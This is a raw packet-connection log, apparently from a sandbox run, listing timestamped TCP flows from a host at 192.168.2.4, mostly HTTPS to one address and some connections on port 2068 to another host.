Nov 23, 2024 21:12:46.809927940 CET	49916	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.809962034 CET	443	49916	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.810101986 CET	49916	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.810225010 CET	49916	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.810240030 CET	443	49916	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.811573029 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.811741114 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.811839104 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.811839104 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.811882973 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.811911106 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.815347910 CET	49917	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.815382004 CET	443	49917	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.815479994 CET	49917	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.815694094 CET	49917	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:46.815709114 CET	443	49917	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:46.985753059 CET	49869	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:47.221249104 CET	2068	49869	192.168.68.139	192.168.2.4
Nov 23, 2024 21:12:47.771609068 CET	49869	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:47.940989017 CET	2068	49869	192.168.68.139	192.168.2.4
Nov 23, 2024 21:12:47.968708992 CET	2068	49869	192.168.68.139	192.168.2.4
Nov 23, 2024 21:12:47.970349073 CET	49869	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:48.867376089 CET	443	49915	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:48.867494106 CET	443	49914	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:48.869980097 CET	49915	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:48.869995117 CET	443	49915	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:48.870625019 CET	49914	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:48.870625019 CET	49915	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:48.870630026 CET	443	49915	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:48.870637894 CET	443	49914	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:48.871063948 CET	49914	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:48.871078968 CET	443	49914	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:48.880162001 CET	443	49916	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:48.880197048 CET	443	49913	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:48.881242990 CET	443	49917	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:48.881277084 CET	49916	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:48.881277084 CET	49916	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:48.881298065 CET	443	49916	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:48.881320000 CET	443	49916	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:48.881393909 CET	49913	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:48.881401062 CET	443	49913	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:48.881938934 CET	49913	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:48.881938934 CET	49917	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:48.881947994 CET	443	49913	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:48.881963015 CET	443	49917	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:48.882330894 CET	49917	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:48.882335901 CET	443	49917	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.543833971 CET	443	49914	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.544956923 CET	443	49915	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.557028055 CET	443	49915	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.557039976 CET	443	49914	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.557082891 CET	49915	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.557113886 CET	49914	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.557192087 CET	443	49913	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.557274103 CET	443	49917	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.557493925 CET	443	49916	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.557528973 CET	443	49913	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.557564974 CET	49913	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.557569027 CET	443	49916	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.557626009 CET	49916	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.558248997 CET	443	49917	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.558293104 CET	49917	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.561770916 CET	49915	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.561788082 CET	443	49915	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.561800957 CET	49915	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.561806917 CET	443	49915	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.564106941 CET	49917	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.564142942 CET	443	49917	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.564162016 CET	49917	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.564173937 CET	443	49917	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.564285040 CET	49914	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.564302921 CET	443	49914	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.564335108 CET	49914	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.564337969 CET	49916	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.564340115 CET	443	49914	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.564363956 CET	443	49916	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.564383984 CET	49916	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.564390898 CET	443	49916	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.566114902 CET	49913	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.566122055 CET	443	49913	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.566133022 CET	49913	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.566135883 CET	443	49913	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.569760084 CET	49918	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.569799900 CET	443	49918	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.569863081 CET	49918	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.571528912 CET	49919	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.571571112 CET	443	49919	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.571615934 CET	49919	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.572211027 CET	49918	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.572231054 CET	443	49918	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.572308064 CET	49919	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.572334051 CET	443	49919	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.575634003 CET	49920	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.575673103 CET	443	49920	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.575727940 CET	49920	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.575937986 CET	49920	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.575948954 CET	443	49920	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.577282906 CET	49921	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.577313900 CET	443	49921	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.577366114 CET	49921	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.580821991 CET	49922	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.580876112 CET	443	49922	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.580954075 CET	49922	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.581106901 CET	49921	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.581125975 CET	443	49921	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:49.581134081 CET	49922	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:49.581149101 CET	443	49922	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.491090059 CET	443	49921	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.491640091 CET	49921	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.491678953 CET	443	49921	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.491689920 CET	443	49922	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.492177963 CET	49921	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.492187023 CET	443	49921	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.492243052 CET	49922	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.492285013 CET	443	49922	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.492643118 CET	49922	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.492652893 CET	443	49922	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.494956017 CET	443	49920	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.495577097 CET	49920	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.495600939 CET	443	49920	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.495628119 CET	443	49919	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.495964050 CET	49919	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.495996952 CET	443	49919	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.496377945 CET	49920	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.496390104 CET	443	49920	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.496484995 CET	443	49918	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.497082949 CET	49919	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.497088909 CET	443	49919	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.497652054 CET	49918	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.497675896 CET	443	49918	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.498132944 CET	49918	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.498140097 CET	443	49918	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.943928003 CET	443	49921	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.951565981 CET	443	49921	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.955796003 CET	49921	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.973287106 CET	443	49922	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.975495100 CET	443	49918	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.976636887 CET	443	49919	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.976700068 CET	443	49919	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.978111029 CET	49919	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.978610992 CET	443	49918	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.978671074 CET	443	49918	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.979346991 CET	49918	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.981159925 CET	443	49922	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.981205940 CET	443	49922	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.981232882 CET	49922	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.981323004 CET	49922	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.982991934 CET	443	49920	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.986084938 CET	443	49920	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.986150980 CET	49920	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.996434927 CET	49919	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.996434927 CET	49919	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.996485949 CET	443	49919	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.996501923 CET	443	49919	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.996509075 CET	49921	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.996542931 CET	443	49921	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.996572971 CET	49921	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.996582985 CET	443	49921	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.997029066 CET	49920	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.997030020 CET	49920	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.997059107 CET	443	49920	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.997065067 CET	443	49920	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.998639107 CET	49922	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.998639107 CET	49922	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.998656988 CET	443	49922	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.998668909 CET	443	49922	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.998893976 CET	49918	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.998893976 CET	49918	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:51.998913050 CET	443	49918	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:51.998923063 CET	443	49918	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:52.000133991 CET	49869	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:52.003360987 CET	49923	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:52.014456987 CET	49924	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:52.014488935 CET	443	49924	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:52.014775991 CET	49924	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:52.014872074 CET	49925	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:52.014980078 CET	443	49925	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:52.015124083 CET	49925	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:52.016562939 CET	49926	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:52.016572952 CET	443	49926	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:52.016572952 CET	49927	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:52.016596079 CET	443	49927	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:52.016683102 CET	49926	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:52.016699076 CET	49927	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:52.017090082 CET	49927	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:52.017124891 CET	443	49927	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:52.017339945 CET	49924	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:52.017352104 CET	443	49924	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:52.018237114 CET	49925	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:52.018279076 CET	443	49925	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:52.018851042 CET	49928	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:52.018898964 CET	443	49928	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:52.018930912 CET	49926	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:52.018940926 CET	443	49926	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:52.019032001 CET	49928	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:52.019301891 CET	49928	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:52.019325018 CET	443	49928	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:52.136025906 CET	2068	49869	192.168.68.139	192.168.2.4
Nov 23, 2024 21:12:52.136049986 CET	2068	49923	147.185.221.24	192.168.2.4
Nov 23, 2024 21:12:52.136239052 CET	49923	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:52.235358953 CET	49923	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:52.359062910 CET	2068	49923	147.185.221.24	192.168.2.4
Nov 23, 2024 21:12:52.519217968 CET	49923	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:52.643506050 CET	2068	49923	147.185.221.24	192.168.2.4
Nov 23, 2024 21:12:53.781105042 CET	49923	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:53.973808050 CET	443	49924	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:53.975826979 CET	49924	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:53.975837946 CET	443	49924	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:53.976336956 CET	49924	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:53.976341963 CET	443	49924	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:53.985053062 CET	2068	49923	147.185.221.24	192.168.2.4
Nov 23, 2024 21:12:53.991491079 CET	443	49927	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:53.992027998 CET	443	49928	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:53.992506027 CET	49927	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:53.992541075 CET	443	49927	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:53.992580891 CET	49928	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:53.992599964 CET	443	49928	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:53.992978096 CET	49927	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:53.992984056 CET	443	49927	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:53.993129969 CET	49928	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:53.993134022 CET	443	49928	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:53.993294954 CET	443	49925	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:53.993562937 CET	49925	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:53.993570089 CET	443	49925	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:53.993946075 CET	49925	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:53.993949890 CET	443	49925	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.191683054 CET	443	49926	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.192631960 CET	49926	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.192631960 CET	49926	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.192651033 CET	443	49926	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.192658901 CET	443	49926	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.466393948 CET	443	49924	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.470272064 CET	443	49924	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.470406055 CET	443	49924	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.470443010 CET	49924	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.473462105 CET	49924	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.559149981 CET	49924	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.559149981 CET	49924	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.559166908 CET	443	49924	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.559175014 CET	443	49924	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.583775997 CET	443	49928	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.584546089 CET	443	49927	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.584605932 CET	443	49927	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.585071087 CET	443	49925	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.585164070 CET	49927	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.587799072 CET	443	49928	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.588108063 CET	49928	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.589080095 CET	443	49925	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.589154959 CET	49925	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.606827974 CET	49925	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.606827974 CET	49925	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.606875896 CET	443	49925	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.606894016 CET	443	49925	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.608138084 CET	49928	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.608156919 CET	443	49928	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.608180046 CET	49928	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.608186007 CET	443	49928	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.608351946 CET	49927	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.608351946 CET	49927	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.608365059 CET	443	49927	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.608381033 CET	443	49927	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.613235950 CET	49929	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.613272905 CET	443	49929	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.613403082 CET	49929	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.613841057 CET	49930	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.613846064 CET	49931	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.613857031 CET	443	49931	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.613867998 CET	443	49930	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.613956928 CET	49931	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.613965034 CET	49930	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.614887953 CET	49929	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.614905119 CET	443	49929	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.615025043 CET	49931	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.615036964 CET	443	49931	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.615144968 CET	49930	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.615156889 CET	443	49930	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.615185976 CET	49932	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.615216017 CET	443	49932	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.615521908 CET	49932	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.615725994 CET	49932	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.615736961 CET	443	49932	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.744678020 CET	443	49926	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.744770050 CET	443	49926	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.745035887 CET	49926	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.745035887 CET	49926	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.745122910 CET	49926	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.745140076 CET	443	49926	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.749598026 CET	49933	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.749644041 CET	443	49933	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:54.749891043 CET	49933	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.750322104 CET	49933	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:54.750334024 CET	443	49933	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.497045994 CET	443	49930	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.498074055 CET	49930	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:56.498123884 CET	443	49930	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.500157118 CET	443	49933	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.500211000 CET	49930	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:56.500232935 CET	443	49930	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.500588894 CET	49933	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:56.500612020 CET	443	49933	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.500612020 CET	443	49931	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.501082897 CET	49931	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:56.501084089 CET	49933	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:56.501091003 CET	443	49933	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.501102924 CET	443	49931	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.501513958 CET	49931	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:56.501518965 CET	443	49931	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.568177938 CET	443	49932	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.569996119 CET	49932	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:56.570013046 CET	443	49932	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.570019007 CET	443	49929	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.570465088 CET	49929	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:56.570466995 CET	49932	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:56.570472956 CET	443	49932	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.570486069 CET	443	49929	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.570792913 CET	49929	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:56.570800066 CET	443	49929	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.947953939 CET	443	49931	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.949143887 CET	443	49930	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.951123953 CET	443	49930	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.951172113 CET	443	49930	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.951191902 CET	49930	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:56.951231956 CET	49930	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:56.951630116 CET	443	49931	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.951692104 CET	49931	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:56.951721907 CET	443	49931	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.951775074 CET	443	49931	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.951824903 CET	49931	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:56.968583107 CET	443	49933	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.971801043 CET	443	49933	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:56.971874952 CET	49933	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.072330952 CET	443	49929	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.073246002 CET	443	49932	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.073308945 CET	443	49932	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.073424101 CET	49932	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.075910091 CET	443	49929	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.075970888 CET	49929	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.208651066 CET	49931	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.208677053 CET	443	49931	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.208688974 CET	49931	443	192.168.2.4	13.107.246.63
